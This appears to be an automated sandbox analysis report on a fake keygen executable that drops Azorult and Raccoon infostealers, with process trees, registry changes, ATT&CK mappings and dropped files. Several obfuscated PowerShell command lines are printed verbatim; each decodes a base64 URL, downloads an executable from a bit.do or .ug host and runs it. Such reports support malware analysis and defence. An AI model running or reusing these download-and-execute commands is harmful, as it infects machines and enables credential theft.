azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
89s
max time network
154s
platform
windows7_x64
resource
win7
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (70) — копия.exe

Score

10^/10

azorult raccoon infostealer spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

10 1628 powershell.exe
12 1628 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 7 IoCs

Processes:

Keygen.exeqrs.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeqrs.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

1896 Keygen.exe
1448 qrs.exe
1072 FVjhgtresfdbv.exe
1088 NHtrdsaghfDF.exe
2032 qrs.exe
1560 NHtrdsaghfDF.exe
2060 FVjhgtresfdbv.exe
Loads dropped DLL 9 IoCs

Processes:

cmd.exepowershell.exeqrs.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

1880 cmd.exe
1628 powershell.exe
1628 powershell.exe
1448 qrs.exe
1448 qrs.exe
1448 qrs.exe
1448 qrs.exe
1088 NHtrdsaghfDF.exe
1072 FVjhgtresfdbv.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

flow	pid	process
10	1628	powershell.exe
12	1628	powershell.exe

pid	process
1896	Keygen.exe
1448	qrs.exe
1072	FVjhgtresfdbv.exe
1088	NHtrdsaghfDF.exe
2032	qrs.exe
1560	NHtrdsaghfDF.exe
2060	FVjhgtresfdbv.exe

pid	process
1880	cmd.exe
1628	powershell.exe
1628	powershell.exe
1448	qrs.exe
1448	qrs.exe
1448	qrs.exe
1448	qrs.exe
1088	NHtrdsaghfDF.exe
1072	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

qrs.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

description	pid	process	target process
PID 1448 set thread context of 2032	1448	qrs.exe	qrs.exe
PID 1088 set thread context of 1560	1088	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 1072 set thread context of 2060	1072	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1852 timeout.exe
1272 timeout.exe

pid	process
1852	timeout.exe
1272	timeout.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

mshta.exemshta.exemshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

qrs.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	qrs.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	qrs.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

1628 powershell.exe
332 powershell.exe
1656 powershell.exe
1656 powershell.exe
1628 powershell.exe
332 powershell.exe
Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

qrs.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

1448 qrs.exe
1088 NHtrdsaghfDF.exe
1072 FVjhgtresfdbv.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1628 powershell.exe
Token: SeDebugPrivilege 332 powershell.exe
Token: SeDebugPrivilege 1656 powershell.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

Keygen.exeqrs.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

1896 Keygen.exe
1448 qrs.exe
1088 NHtrdsaghfDF.exe
1072 FVjhgtresfdbv.exe

pid	process
1628	powershell.exe
332	powershell.exe
1656	powershell.exe
1656	powershell.exe
1628	powershell.exe
332	powershell.exe

pid	process
1448	qrs.exe
1088	NHtrdsaghfDF.exe
1072	FVjhgtresfdbv.exe

description	pid	process
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeDebugPrivilege	332	powershell.exe
Token: SeDebugPrivilege	1656	powershell.exe

pid	process
1896	Keygen.exe
1448	qrs.exe
1088	NHtrdsaghfDF.exe
1072	FVjhgtresfdbv.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (70) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exepowershell.exeqrs.exe

description	pid	process	target process
PID 740 wrote to memory of 1880	740	Keygen — копия (70) — копия.exe	cmd.exe
PID 740 wrote to memory of 1880	740	Keygen — копия (70) — копия.exe	cmd.exe
PID 740 wrote to memory of 1880	740	Keygen — копия (70) — копия.exe	cmd.exe
PID 740 wrote to memory of 1880	740	Keygen — копия (70) — копия.exe	cmd.exe
PID 1880 wrote to memory of 1896	1880	cmd.exe	Keygen.exe
PID 1880 wrote to memory of 1896	1880	cmd.exe	Keygen.exe
PID 1880 wrote to memory of 1896	1880	cmd.exe	Keygen.exe
PID 1880 wrote to memory of 1896	1880	cmd.exe	Keygen.exe
PID 1880 wrote to memory of 1952	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 1952	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 1952	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 1952	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 1300	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 1300	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 1300	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 1300	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 1852	1880	cmd.exe	timeout.exe
PID 1880 wrote to memory of 1852	1880	cmd.exe	timeout.exe
PID 1880 wrote to memory of 1852	1880	cmd.exe	timeout.exe
PID 1880 wrote to memory of 1852	1880	cmd.exe	timeout.exe
PID 1952 wrote to memory of 1628	1952	mshta.exe	powershell.exe
PID 1952 wrote to memory of 1628	1952	mshta.exe	powershell.exe
PID 1952 wrote to memory of 1628	1952	mshta.exe	powershell.exe
PID 1952 wrote to memory of 1628	1952	mshta.exe	powershell.exe
PID 1300 wrote to memory of 1656	1300	mshta.exe	powershell.exe
PID 1300 wrote to memory of 1656	1300	mshta.exe	powershell.exe
PID 1300 wrote to memory of 1656	1300	mshta.exe	powershell.exe
PID 1300 wrote to memory of 1656	1300	mshta.exe	powershell.exe
PID 1880 wrote to memory of 1364	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 1364	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 1364	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 1364	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 1156	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 1156	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 1156	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 1156	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 1272	1880	cmd.exe	timeout.exe
PID 1880 wrote to memory of 1272	1880	cmd.exe	timeout.exe
PID 1880 wrote to memory of 1272	1880	cmd.exe	timeout.exe
PID 1880 wrote to memory of 1272	1880	cmd.exe	timeout.exe
PID 1156 wrote to memory of 332	1156	mshta.exe	powershell.exe
PID 1156 wrote to memory of 332	1156	mshta.exe	powershell.exe
PID 1156 wrote to memory of 332	1156	mshta.exe	powershell.exe
PID 1156 wrote to memory of 332	1156	mshta.exe	powershell.exe
PID 1364 wrote to memory of 564	1364	mshta.exe	powershell.exe
PID 1364 wrote to memory of 564	1364	mshta.exe	powershell.exe
PID 1364 wrote to memory of 564	1364	mshta.exe	powershell.exe
PID 1364 wrote to memory of 564	1364	mshta.exe	powershell.exe
PID 1880 wrote to memory of 560	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 560	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 560	1880	cmd.exe	mshta.exe
PID 1880 wrote to memory of 560	1880	cmd.exe	mshta.exe
PID 1628 wrote to memory of 1448	1628	powershell.exe	qrs.exe
PID 1628 wrote to memory of 1448	1628	powershell.exe	qrs.exe
PID 1628 wrote to memory of 1448	1628	powershell.exe	qrs.exe
PID 1628 wrote to memory of 1448	1628	powershell.exe	qrs.exe
PID 1448 wrote to memory of 1072	1448	qrs.exe	FVjhgtresfdbv.exe
PID 1448 wrote to memory of 1072	1448	qrs.exe	FVjhgtresfdbv.exe
PID 1448 wrote to memory of 1072	1448	qrs.exe	FVjhgtresfdbv.exe
PID 1448 wrote to memory of 1072	1448	qrs.exe	FVjhgtresfdbv.exe
PID 1448 wrote to memory of 1088	1448	qrs.exe	NHtrdsaghfDF.exe
PID 1448 wrote to memory of 1088	1448	qrs.exe	NHtrdsaghfDF.exe
PID 1448 wrote to memory of 1088	1448	qrs.exe	NHtrdsaghfDF.exe
PID 1448 wrote to memory of 1088	1448	qrs.exe	NHtrdsaghfDF.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (70) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (70) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:740

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\3BC8.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (70) — ?????.exe""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1880

C:\Users\Admin\AppData\Local\Temp\3BC8.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1896

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3BC8.tmp\m.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1952

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1628

C:\Users\Public\qrs.exe
"C:\Users\Public\qrs.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1448

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:1072

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:2060

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:1088

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:1560

C:\Users\Public\qrs.exe
"C:\Users\Public\qrs.exe"
6⤵
- Executes dropped EXE
- Modifies system certificate store
PID:2032

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3BC8.tmp\m1.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1300

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1656

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1852

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3BC8.tmp\b.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1364

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:564

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3BC8.tmp\b1.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1156

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:332

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1272

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3BC8.tmp\ba.hta"
3⤵
PID:560

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1e6b3c8b-eaca-49c0-9567-fb3e06f9cb2a

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_231c2208-0720-4eec-b9f1-8bba11abd9fa

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c6647c-75fc-47bb-8ce4-3b8f0921c533

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d5fa298-996f-4fc9-9c01-b2226cbdaeba

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6878ec-2a8b-418c-8f2b-b6fcd4b50cf8

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_de4eedb8-4762-4c56-b80c-203df3aa6fa8

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e43ce3f6-b60d-4b70-bed1-86e53bf07360

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fabbb9cf-9b8c-4b2f-b33d-0de7a9a3a10e

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Temp\3BC8.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\3BC8.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\3BC8.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\3BC8.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\3BC8.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\3BC8.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\3BC8.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\3BC8.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Public\qrs.exe

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C:\Users\Public\qrs.exe

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C:\Users\Public\qrs.exe

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\Users\Admin\AppData\Local\Temp\3BC8.tmp\Keygen.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Public\qrs.exe

